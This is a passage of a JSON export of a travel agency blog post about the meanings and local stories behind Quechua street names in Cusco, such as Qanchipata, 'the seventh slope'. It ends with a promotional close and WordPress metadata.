energy.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/74880635_561568637932019_1753355471571386368_n.jpg?resize=697%2C465&#038;ssl=1\" alt=\"A man after getting up to Atoqsaycuchi street\" class=\"wp-image-17259\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/74880635_561568637932019_1753355471571386368_n.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/74880635_561568637932019_1753355471571386368_n.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/74880635_561568637932019_1753355471571386368_n.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/74880635_561568637932019_1753355471571386368_n.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/74880635_561568637932019_1753355471571386368_n.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/74880635_561568637932019_1753355471571386368_n.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/74880635_561568637932019_1753355471571386368_n.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Isn\u2019t that a charming image? Some of our oldest residents share a different story, too. They remember when there was a small forest in the upper part of the area, where skunks lived.&nbsp;<\/p>\n\n\n\n<p>These skunks would sometimes come down and stir up a bit of mischief! Each story adds to the unique character of our community.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Bonus: Qanchipata \u2013 \u201cThe Seventh Slope\u201d<\/strong><\/h3>\n\n\n\n<p>Here\u2019s a fun one for the math nerds (or just the curious types). In the San Blas district, there\u2019s a street called Qanchipata, from Qanchis (seven) and Pata (place, slope, or terrace).<\/p>\n\n\n\n<p>Why seven? Turns out, it was the<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/unveiling-cuscos-seven-streets-with-number-7\/\"><strong> seventh street<\/strong><\/a> laid out in the area by early residents of San Blas. Simple, logical, and a little unexpected.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/img-20170304-wa0103.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Qanchipata street sign \" class=\"wp-image-17260\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/img-20170304-wa0103.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/img-20170304-wa0103.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/img-20170304-wa0103.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/img-20170304-wa0103.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/img-20170304-wa0103.jpg?w=1296&amp;ssl=1 1296w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>It\u2019s like the Incas invented urban planning and still managed to sneak a language lesson into the street signs. When you visit a place like Cusco, the world heritage site city, it&#8217;s easy to get swept away by the visuals:<\/p>\n\n\n\n<p>Every stone wall, every market stall, every mountaintop sunset. But what makes this city truly unforgettable is how deeply the past continues to speak in the present.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Streets with such a great <\/strong>essence<\/h2>\n\n\n\n<p>The Quechua names etched into signs and carved into memory aren\u2019t just quaint holdovers\u2014they\u2019re living reminders that language, culture, and geography are inseparable here.<\/p>\n\n\n\n<p>And honestly, there\u2019s something comforting about knowing that the Incas didn\u2019t just build roads\u2014they named them with heart, humor, and meaning.<\/p>\n\n\n\n<p>So, next time you&#8217;re in Cusco, slow down. Look up. Read the signs. Let the names guide you, not just through the city, but through time.<\/p>\n\n\n\n<p>Now it\u2019s your turn. Have a favorite street in Cusco with a quirky or beautiful name? Heard a legend behind one we didn\u2019t cover? Let us know, we love listening (just like Limacpampa)<\/p>\n\n\n\n<p>To learn more about Peruvian culture, food, places, tips, and everything else, stay tuned to our blog. Likewise, Viagens Machu Picchu encourages you to visit and maximize your trip to Peru with our assistance.<\/p>\n\n\n\n<p>So, please, feel free to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact us<\/a><\/strong>, we\u2019ll be more than glad to take on the adventure! Don\u2019t hold it on too much, the adventure in Peru awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cusco\u2019s quirky and poetic street names, mostly in Quechua, hold deep cultural meaning. From \u201cThe Hill That Tires the Fox\u201d to \u201cThe Place That Speaks,\u201d each name reflects Inca history, local legends, and the city\u2019s layered identity\u2014hidden in plain sight.<\/p>\n","protected":false},"author":1,"featured_media":17262,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[206,1833],"tags":[2138,1793,3393,1690,5925,4483,5159,4193,2241,2630,4906,212,723,1511,734,2224,3381,1693],"class_list":["post-17247","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cusco","category-documentary","tag-capital-of-the-inca-empire","tag-city-of-cusco","tag-colonial-buildings","tag-colonial-era","tag-hatun-rumiyoc","tag-hatunrumiyoc-street","tag-historic-center","tag-inca-and-spanish","tag-inca-architecture","tag-inca-garcilaso-de-la-vega","tag-inca-roca","tag-machu-picchu","tag-plaza-de-armas","tag-quechua-words","tag-san-blas","tag-stone-walls","tag-twelve-angled-stone","tag-world-heritage-site"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/8e041f81-c7b6-4617-b456-6be3d1bac37b.png?fit=1536%2C1024&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4ub","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17247","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=17247"}],"version-history":[{"count":2,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17247\/revisions"}],"predecessor-version":[{"id":17263,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17247\/revisions\/17263"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/17262"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=17247"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=17247"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=17247"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}